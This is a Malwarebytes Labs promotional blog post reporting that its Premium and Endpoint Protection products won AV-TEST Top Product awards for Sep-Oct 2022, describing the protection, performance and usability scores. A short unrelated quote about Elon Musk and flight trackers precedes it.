“Safety, security, and privacy sound like noble goals, but there isn’t a rash of violent attacks on private planes—or any planes—and no indication there will be,” Watkins says. “Musk’s gripes are almost Musk-specific; few people have a jet they themselves can call on and fly anywhere with on a whim.”

Elon Musk and the Dangers of Censoring Real-Time Flight Trackers

Categories: Business
AV-TEST, a leading independent tester of cybersecurity solutions, has just ranked Malwarebytes as a Top Product for consumers and businesses for the fourth quarter in a row.



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The post Malwarebytes earns AV-TEST Top Product awards for fourth consecutive quarter appeared first on Malwarebytes Labs.

AV-TEST, a leading independent tester of cybersecurity solutions, has just ranked Malwarebytes as a **Top Product for consumers and businesses** for the fourth quarter in a row.  
Every two months, experts at AV-Test evaluate Windows antivirus software across three categories:

*   **Protection** against malware infections such as viruses, worms or Trojan horses.
*   **Performance** or the average influence of the product on computer speed in daily usage.
*   **Usability** or the Impact of the security software on the usability of the whole computer.

All products can achieve a maximum of 6 points each in of the three categories, making 18 points the best possible test result. At 17.5 points or higher, AV-TEST issues the "**Top Product**" award.

Each security product gets tested against 23,000 unique malware attacks, such as zero-day threats and widespread malware and must pass multiple false positives tests that include over 1 million clean files and websites.

For the latest Sep-Oct/2022 results, Malwarebytes received Top Product awards for both Malwarebytes Premium and Malwarebytes Endpoint Protection. **These results mark the fourth consecutive quarter we have received Top Product awards for both products,** stretching back to December 2021.

*   Full Malwarebytes Premium results: https://www.av-test.org/en/antivirus/home-windows/windows-10/october-2022/malwarebytes-premium-4.5-221511/ 
*   Full Malwarebytes Endpoint Protection results: https://www.av-test.org/en/antivirus/business-windows-client/windows-10/october-2022/malwarebytes-endpoint-protection-1.2-222515/

Let’s take a deeper dive into the results from Sep-Oct/2022, starting with the protection category.

**Real-world threats no match against Malwarebytes cyberprotection**

Malware infections show no signs of slowing down. According to Malwarebytes research, malicious software increased by 77 percent in 2021 compared to 2020.

Needless to say, personal users and businesses alike need strong anti-malware to prevent the costly consequences of infection.

For the **Prevention** category, AV-TEST tested protection against real-world threats launched by cyber criminals—including **0-day malware attacks** from the Internet, inclusive of **web and email threats**. It also tested the detection of widespread and prevalent malware discovered **only in the last 4 weeks**.

**Both Malwarebytes Premium and Malwarebytes Endpoint Protection successfully prevented and detected 100% of malware threats for Sep-Oct 2022**, proving that Malwarebytes can fend off the latest malware and defend against the pathways of infection used most often.

**Industry-leading performance**

Good cyberprotection shouldn’t have to come at the cost of system performance—the last thing you want in your security product is a slowing down of typical operations for daily work on computers.

For the **Performance** category, experts at the AV-TEST laboratory examined the effect security products had on performance, placing special attention to four categories:

*   Slowing-down when launching popular websites
*   Slower download of frequently-used programs
*   Slower launch of standard software programs
*   Slower installation of frequently-used programs
*   Slower copying of files (locally and in a network)

**Both Malwarebytes Premium and Malwarebytes Endpoint Protection scored 100% on the performance test for Sep-Oct 2022**, by and large meeting or beating the industry average in each of the four categories.

**Saying sayonara to false-positives**

When it came to the number of false-positives generated, neither Malwarebytes Premium nor Malwarebytes Endpoint Protection disappointed.

AV-TEST recognizes that false alarms can disturb the work routine just as much as malware attacks can. That’s why, for the Usability category, AV-TEST tested the number of false positives in three stages:

*   **Stage 1**: False alarms or blocking when visiting websites
*   **Stage 2**: False detections of legitimate software as malware during a system scan
*   **Stage 3**: False alarm test for standard software: false warnings concerning certain actions and blocking of these actions carried out while installing and using legitimate software

**Malwarebytes Endpoint Protection had 0 false-positives out of the over 500 websites and 1+ million files used for the assessment. Malwarebytes Premium only had four false-positives.**

**Nothing but gold for Malwarebytes on the latest AV-TEST assessment**

With the latest AV-TEST results, we’re adding yet another notch to our string of successes on leading independent assessments.

Whether it’s MITRE, MRG-Effitas, or G2, our track-record demonstrates that Malwarebytes has what it takes to keep both personal users and businesses safe from today’s most pressing cyberthreats—and do so with high performance and low false-positives.

Learn more about what experts and customers are saying about Malwarebytes:

Malwarebytes recognized as endpoint security leader by G2

MITRE ATT&CK® Evaluation results: Malwarebytes’ efficiency, delivered simply, earns high marks

Malwarebytes receives highest rankings in recent third-party tests

Malwarebytes outperforms competition in latest MRG Effitas assessment

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